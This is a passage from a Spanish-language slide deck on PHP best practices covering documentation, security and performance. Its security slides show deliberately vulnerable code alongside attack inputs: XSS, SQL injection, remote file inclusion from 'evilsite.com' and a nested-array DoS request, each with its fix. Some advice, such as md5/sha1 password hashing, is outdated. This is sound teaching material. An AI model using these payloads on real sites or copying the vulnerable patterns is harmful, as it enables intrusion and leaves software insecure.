  • 25. Documentación (1) La situación: Comparado con escribir código, el hacer documentación es aburrido y se deja para el último momento ● Esto hace que después de 6 meses, ni tu mismo te acuerdes que hace un pedazo de código que hiciste (en particular si no tienes un estándar de código :-) ● Piensa que otros usaran tu código. Mejor aún, espera y cuenta con otros usarán tu código, y no les compliques la vida Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 26. Documentación (2) La solución: phpDocumentor ➔ Implementa y aumenta las capacidades de documentación de Javadoc ➔ Es un estándar aceptado por la comunidad ➔ Está disponible a través de PEAR ➔ Permite la generación “automágica” de documentación de tu API ➔ También puedes incluir tutoriales ➔ Más información en http://phpdoc.org Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 27. Documentación (3) Consejos útiles: ➔ Escribe la documentación antes de escribir el código, de ese modo no te olvidas de algo importante ➔ Si escribes primero el código, de seguro que no vas a escribir buena documentación (y eso, si la llegas a escribir) ➔ Documenta minuciosamente, así no tienes que corregir los documentos luego ➔ Si vas a modificar, añadir o arreglar algo: Actualiza la documentación primero, luego actualiza el código. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 28. Seguridad En esta sección veremos: ● Problemas comunes y sus soluciones ● Como estar atento a lo hacen nuestros usuarios, y actuar de acuerdo a ello Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 29. Seguridad: Tópicos ● Inyección de variables ● Inyección de comandos en SQL ● Filtrado de datos de ingreso ● Escape de datos de salida ● Seguridad por obscuridad ● Arreglar los derechos de acceso ● Configuración ● Cookies y sesiones Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 30. Inyección de variables (1) La situación: Las variables no inicializadas pueden causar que se ejecuten secciones no esperadas de código <?php if (correct_user($_POST['user'], $_POST['password']) {      $login = true; } if ($login) {      forward_to_secure_environment(); } ?>  ¡Un desastre en potencia! http://example.com/form1.php?login=1 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 31. Inyección de variables (2) La solución: Inicializa todas tus variables y nunca (si, ¡nunca!) confíes en datos que vienen del usuario (del exterior): $_POST, $_GET, $_REQUEST, $_COOKIE, $_SERVER, $_ENV Ejemplo simple de XSS. Al código: <form action=quot;<?php echo $_SERVER['PHP_SELF']; ?>quot;> </form> ... le inyectamos el URL siguiente: http://example.com/form2.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo generando una ventana en JavaScript que imprime el texto “XSS” Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 32. Inyección de variables (3) La situación: Variables usadas para incluir archivos causan mas dolores de cabeza que los que resuelven. ➔ Hacen fácil que se ejecute código externo ➔ Peor aun si se puede incluir código de cualquier URL arbitrario (allow_url_fopen=On, la configuración por defecto de PHP) <?php require_once $_GET['action'] . '.php'; ?>  Se puede explotar esto usando: http://example.com/form3.php?action=http://evilsite.com/myevilscript Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 33. Inyección de variables (4) La solución: Valida los archivos a incluir usando una lista fija implementada con arreglos o con 'switch', etc. <?php $valid_files = array( 'show' => 'show.php',      'list' => 'list.php', ); if (isset($valid_files[$_GET['action']])) {      require_once $valid_files[$_GET['action']]; } else {      echo 'Not a valid action.'; } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 34. Inyección de comandos en SQL (1) La situación: El necesitar usar datos de los usuarios, puede permitir a estos el manipular la forma como se accede a la base de datos. Dado el código: <?php $sql = 'SELECT password FROM user WHERE login = '            . $_GET['login']; ?> Se puede manipular usando: http://example.com/form4.php?login=username+OR+1 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 35. Inyección de comandos en SQL (2) La solución: Usa funciones para escapar datos de tu base de datos: <?php $sql = 'SELECT password FROM user WHERE login = ' .  mysql_real_escape_string( $_GET['login'] ); ?>  O aún mejor, usa comando preparados: <?php $db = new PDO( ... ); $stmt = $db­>prepare( 'SELECT password FROM user WHERE login = ?' ); $stmt­>execute( array( $_GET['login'] ) ); ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 36. Validación de datos de entrada (1) La situación: Validar los datos que entra el usuario es difícil y poco interesante. La solución: Usar ext/filter o ext/ctype <?php var_dump( ctype_alnum( 'foobar_42' ) ); var_dump( ctype_alnum( 'Bad Characters $%&/' ) ); var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL)); var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED)); ?> Resultado: boolean false boolean false string 'bob@example.com' (length=15) boolean false Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 37. Validación de datos de entrada (2) Sugerencia: Para datos numéricos, es más fácil el forzar al dato a tener un tipo un entero (integer) <?php var_dump( (int) '42' ); var_dump( (int) '42; DELETE * FROM users;' ); var_dump( (int) 'Evil string' ); ?> Resultado: int 42 int 42 int 0 Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 38. Procesa los datos de salida (1) La situación: Los ataques de XSS ocurren por no procesar adecuadamente los datos de salida, o usarlos tal cual son obtenidos. ➔ Debemos asumir que todo dato ingresado por el usuario, puede contener caracteres que serán interpretados por el navegador, u otro programa que recibe nuestros resultados. <?php $text = '<b>Hola</b> todos.'; Resultado: echo $text; echo htmlentities( $text ); Hola todos ?>  <b>Hola</b> todos Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 39. Procesa los datos de salida (2) La solución: Usar las funciones de procesamiento de datos de salida ➔ Hay que recordar que las bases de datos también pueden contener datos ingresados por el usuario ➔ Debemos de considerar el contexto en que la salida de nuestro programa va a ser usada (navegador, lector de RSS, etc.) ➔ Usar un sistema de plantillas, en especial uno que procese la salida adecuadamente, evita este problema y nos ahorra trabajo Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 40. Seguridad por obscuridad La situación: Información acerca de las rutas, extensiones, y configuración, hace fácil el trabajo de quien quiere atacar tu sistema. La solución: Oculta bien esta información. ➔ No tengas un script con phpinfo() en tu directorio de web por defecto ➔ En producción, desactiva display_errors y usa error_log en su lugar ➔ El cambiar los tipos de archivos por defecto (ej. usar .abc en lugar de .php), y desactivar expose_php también puede ayudar Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 41. Corrige los permisos de acceso La situación: Permisos de acceso errados hacen fácil el que alguien puede adueñarse de nuestro servidor de web. La solución: Usa los permisos correctos ➔ No deben de haber archivos ejecutables o que se puedan escribir en tu carpeta de web ➔ Ningún archivo de PHP debe de poderse sobre- escribir ➔ Desactivar el leer (y ejecutar) archivos externos conteniendo clases, configuración, o código de cualquier índole Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 42. Configuración (1) La situación: El proceso inadecuado de los datos de salida y los almacenados. ➔ Afecta directamente (a veces, seriamente) la performance de tu aplicativo de web ➔ A veces no usamos adecuadamente funciones como stripslashes(), ni las asociadas al tipo de almacenaje que usaremos (base de datos, archivos, etc.) La solución: No uses magic_quotes en producción (ni en desarrollo, de ser posible), y usa funciones de procesamiento apropiadas Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 43. Configuración (2) Si queremos revertir efectivamente el efecto de magic_quotes, hay que hacerlo con cuidado <?php if (get_magic_quotes_gpc()) { function strip_quotes(&$var) { Este código se if (is_array($var) { array_walk($var, 'strip_quotes'); puede atacar } else { fácilmente. $var = stripslashes($var); } } Un programa // Handle GPC simple puede foreach (array('GET','POST','COOKIE') as $v) { if (!empty(${quot;_quot;.$v})) { hacer que el array_walk(${quot;_quot;.$v}, 'strip_quotes'); servidor se caiga } } por exceso de } carga ?>  <?php $qry = str_repeat('[]', 1024); file_get_contents('http://example.com/site.php?a' . $qry . '=1'); ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 44. Configuración (4) Podemos hacer el mismo procesamiento, pero en forma mas segura, si usar recursión: <?php if (get_magic_quotes_gpc()) { $in = array(&$_GET, &$_POST, &$_COOKIE); while (list($k,$v) = each($in)) { foreach ($v as $key => $val) { if (!is_array($val)) { $in[$k][$key] = stripslashes($val); continue; } $in[] =& $in[$k][$key]; } } unset($in); } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 45. Configuración (5) La situación: Aún hay código que depende de que register_globals este activo, y hay desarrolladores que aún siguen usándolo ➔ Esta configuración ha sido desactivada por defecto desde hace mucho tiempo (desde PHP 4.2.0: 22 de Abril del 2002) ➔ Su uso llena de basura el entorno global ➔ Puede sobre-escribir variables no inicializadas con gran facilidad ➔ Nos (mal) acostumbra a no procesar nuestros datos de entrada Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 46. Configuración (6) La solución: No uses register_globals, ni en desarrollo y menos en producción. ➔ El tratar de emular su efecto puede traer problemas, en particular en entornos usando PHP con versiones anteriores a 4.4.1 o 5.0.5 ➔ Aún puedes crear tus propios mecanismos de importación de variables ➔ El comportamiento de extract() y el de import_request_variables() es aceptado ¡En PHP 6 ya no existirá ni magic_quotes y menos aún register_globals! Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 47. Cookies y sesiones (1) La situación: Las cookies son fáciles de ser modificadas por el usuario. ➔ No almacenes información crítica en cookies ➔ Pueden ser falsificadas usando programas automatizados La solución: Usar ext/session para almacenar los datos importantes. ➔ Generalmente, se almacenará un ID de sesión en la cookie del usuario ➔ Los datos asociados residen en el servidor (archivos o base de datos) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 48. Cookies y sesiones (2) Sugerencias: ➔ No almacenar claves de identificación como texto sencillo, es inseguro aún en el servidor. Es bueno usar un función como md5(), sha1(), etc. para almacenar un valor que no puede ser revertido a la cadena original ➔ Al usar md5() (o sha1(), etc.), no hacerlo directamente en la clave, pues pueden escribirse programas que traten de adivinar esta información por fuerza bruta. Concatenar con otra información (ej. nombre del servidor, del usuario, etc.), antes de procesar. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 49. Mejorando la performance En esta sección aprenderemos ● Algunos de los errores comunes que hacen que nuestros aplicativos corren más lentamente de lo que realmente deberían. ● Algunas sugerencias que pueden ayudar a que la performance de nuestros aplicativos aumente, usando prácticas correctas de escritura de código Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 50. Mejorando la performance: Tópicos ● Prefiere usar C en lugar de PHP ● Algunas mejoras simples en la velocidad ● Como usar OOP adecuadamente ● Usar cache tanto como se pueda ● Tener cuidado con las expresiones regulares ● Emplear cache de OP code ● Hacer un perfil del aplicativo ● Usar mod_gzip Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 51. Prefiere usar C en lugar de PHP La situación: Las funciones internas de PHP son más rápidas que las del usuario ➔ Las funciones de PHP nos ahorran tiempo, pero aún así hay gente que insiste en escribir su “versión propia” de estas La solución: ¡Lee el manual! ➔ PHP tiene excelente documentación, usala a menudo y verás que te gustará ➔ Antes de escribir, fíjate si ya existe en PHP ➔ Si realmente necesitas funciones que consumen mucho tiempo, escribelas como extensiones en C para PHP Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 52. Algunas mejoras simples en la velocidad (1) La situación: Si usamos código simple muy frecuentemente, esto puede causar que se pierda mucho tiempo de proceso. ➔ El uso principal de los aplicativos de web es el de procesar cadenas de caracteres ➔ Debemos de analizar las construcciones de código más frecuentemente usadas en nuestro aplicativo “Make everything as simple as possible, but not simpler.” (Haz todo tan simple como sea posible, pero no mas simple que eso) -- Albert Einstein Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 53. Algunas mejoras simples en la velocidad (2) La solución: Optimizaciones simples ayudan mucho a aumentar la velocidad ➔ Usa ' en lugar de quot; para no tener que interpretar valores Preferido echo quot;HolanTodosquot;; echo 'Hola Todos'; ➔ Usa valores múltiples de echo en lugar de usar Preferido concatenación de valores echo 'Hola '.$nombre; echo 'Hola ', $nombre; ➔ Donde sea posible usa ++$i en lugar de $i++ for ($i=0; $i<100; $i++) Preferido for ($i=0; $i<100; ++$i) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 54. Usa OOP adecuadamente (1) La situación: PHP 5 tiene características interesantes en lo relacionado a OOP ➔ OOP se ve bien y puede ser útil, pero también sobrecarga el procesamiento ➔ Cada objeto consume memoria en PHP que una estructura equivalente ➔ Cada llamada a un método consume memoria y tiempo en PHP <?php     class Integer {         protected $value = 0; Bonito código,         function __construct($int) {             $this­>value = $int; pero innecesario         }     } ?>  Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 55. Usa OOP adecuadamente (2) La solución: Conoce los límites de OOP ➔ No todo tiene que ser una clase, los arreglos pueden ser muy útiles también ➔ No crees múltiples métodos, piensa en que vas a reusar en realidad. Sé pragmático(a). ➔ Si lo necesitas, puedes reorganizar tus métodos luego. No trates de adivinar el futuro. ➔ Piensa: ¿Realmente necesito un árbol de clases tan profundo y complejo? ➔ Antes de aplicar un “Patrón de Diseño” OOP, piensa si realmente lo necesitas. No hagas las cosas por moda o imitación Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 56. Usar cache al máximo (1) La situación: La mayor parte del contenido no es dinámicamente generado ➔ 90% del tiempo el servidor está enviando la misma información a múltiples usuarios ➔ Cada pedido de una página, resulta en los mismos resultados de búsqueda en la base de datos ➔ 90% del trabajo de tu servidor se gasta en regenerar el mismo contenido... ¡estático! Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 57. Usar cache al máximo (2) La solución: Usa un cache ➔ Estima la frecuencia con que realmente necesitas regenerar tu contenido dinámico ➔ Usa un cache para los periodos en los que no regeneras el contenido ➔ Evita el que el contenido estático sea regenerado, o actualiza este con mucho menor frecuencia ● Librerías de cache sugeridas: ➔ Cache_Lite (http://pear.php.net/Cache_Lite) ➔ eZCache (http://ez.no/products/ez_components) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 58. Usar cache al máximo (3) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 59. Cuidado con las expresiones regulares (1) La situación: Las expresiones regulares (regexes) pueden consumir mucho tiempo de proceso ➔ Prefiere usar PCRE en lugar de EREG, es mas potente y mas rápido ➔ Una regex escrita incorrectamente puede consumir mucho tiempo de proceso ➔ Una función en C equivalente es siempre mucho mas veloz que la regex equivalente Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 60. Cuidado con las expresiones regulares (2) La solución: Piensa dos veces antes de usar una regex ➔ ¿Existe una función en PHP que hace el mismo trabajo que mi regex? ➔ Reemplaza tus EREGs por PCREs ➔ Trata de no usar “backtracking” de ser posible (usa el modificador U, cuando sea posible) ➔ Lee, aprende y usa inteligentemente el contenido del libro: “Mastering Regular Expressions” (http://www.oreilly.com/catalog/regex/) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 61. Emplea cache de código intermedio/compilado (1) La situación: Compilación del código de PHP (en el servidor) consume tiempo ➔ Tu código de PHP es recompilado cada vez que hay un pedido ➔ Aún si es 0.5 seg por cada pedido, eso significa mas de 2 minutos en sólo 250 pedidos ➔ Compilar algunos archivos de PHP toma más tiempo que ejecutarlos, en particular si estos incluyen muchos otros archivos (clases, configuración, etc.) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 62. Emplea cache de código intermedio/compilado (2) La solución: Usa cache de OP code ➔ El motor Zend compila el código PHP en OP code antes de ejecutarlo ➔ El OP code no cambia a menos que cambies tu código fuente ➔ Un cache de OP code ahorra la compilación ● Recomendaciones de caches de OP code: ➔ APC (Código Libre): http://pecl.php.net/APC ➔ Zend perfomance suite (comercial): http://www.zend.com Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 63. Emplea cache de código intermedio/compilado (3) Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 64. Haz un perfil del aplicativo (1) La situación: Es difícil encontrar los cuellos de botella en un aplicativo grande ➔ Aún los aplicativos mejor diseñados y escritos, pueden sufrir de componentes que causan que todo funciones lentamente ➔ Encontrar los cuellos de botella, en ocasiones es muy, pero muy, difícil ➔ El tratar de encontrar problemas por pruebas y error al azar, consume tiempo y no es efectivo en casos complejos Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 65. Haz un perfil del aplicativo (2) La solución: Haz un perfil de tu código ➔ Un perfilador te muestra cuanto tiempo consume cada parte de tu código ➔ Xdebug también tiene un perfilador ➔ Un perfilador identifica inequívocamente los cuellos de botella (no tienes que adivinar) ● Recomendaciones de perfiladores ➔ Xdebug (Código Libre): http://xdebug.org/ ➔ APD (Código Libre): http://pecl.php.net/package/apd Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 66. Usa mod_gzip (1) La situación: No tienes ancho de banda suficiente para tu servidor de web ➔ A veces el problema no es la velocidad de tu CPU, tus discos o tu base de datos ➔ Con muchos datos a transmitir, o un ancho de banda pobre, la velocidad de transmisión sufre ➔ Las sugerencias usuales para mejorar la performance de tu aplicativo, no te son muy útiles en este caso Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 67. Usa mod_gzip (2) La solución: Usa mod_gzip ➔ Comprime tus datos en tiempo real ➔ Compresión GZIP es parte de HTTP 1.1 ➔ Puede reducir los datos a ser transferidos hasta en un 80% ➔ Está disponible como un módulo de Apache ➔ Para más información: http://sourceforge.net/projects/mod-gzip/ Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 68. Palabras finales ● El mejorar tu código implica cambios de hábitos y el uso de herramientas que hagan tu trabajo mejor y mas eficiente ● Lee código y eso ayudará a que el tuyo mejore. Lo mismo para la documentación. ● Programa considerando la seguridad como parte integral de tu diseño y no como algo secundario. ● Mejorar la performance no es difícil, pero requiere algo de trabajo. Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 69. Para mas información ● PHP: http://www.php.net ● Zend: http://www.zend.com ● Manual de PHP: http://www.php.net/manual/ ● Charlas acerca de PHP: http://talks.php.net/ ● Bugs: http://bugs.php.net/ ● Listas de correo: http://news.php.net ● CVS: http://cvs.php.net ● Otros sitios de PHP.net: http://www.php.net/sites.php ● Libros: http://www.php.net/books.php ● Otras referencias: http://www.php.net/links.php Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia
  • 70. ¡Gracias! ✔ A los organizadores por su invitación para hablar acerca de este tema. ✔ A ustedes por no aburrirse mucho con mi charla interminable. ✔ A todos los desarrolladores de PHP que nos hacen la vida mas fácil. ✔ A Kore Nordmann y Tobias Schlitt, de quienes tomé gran parte del material. Esta y otras presentaciones disponibles en: http://www.castagnetto.com/ Jesús M. Castagnetto M., Ph.D. - Facultad de Ciencias y Filosofía, y Dirección Universitaria de Información, Universidad Peruana Cayetano Heredia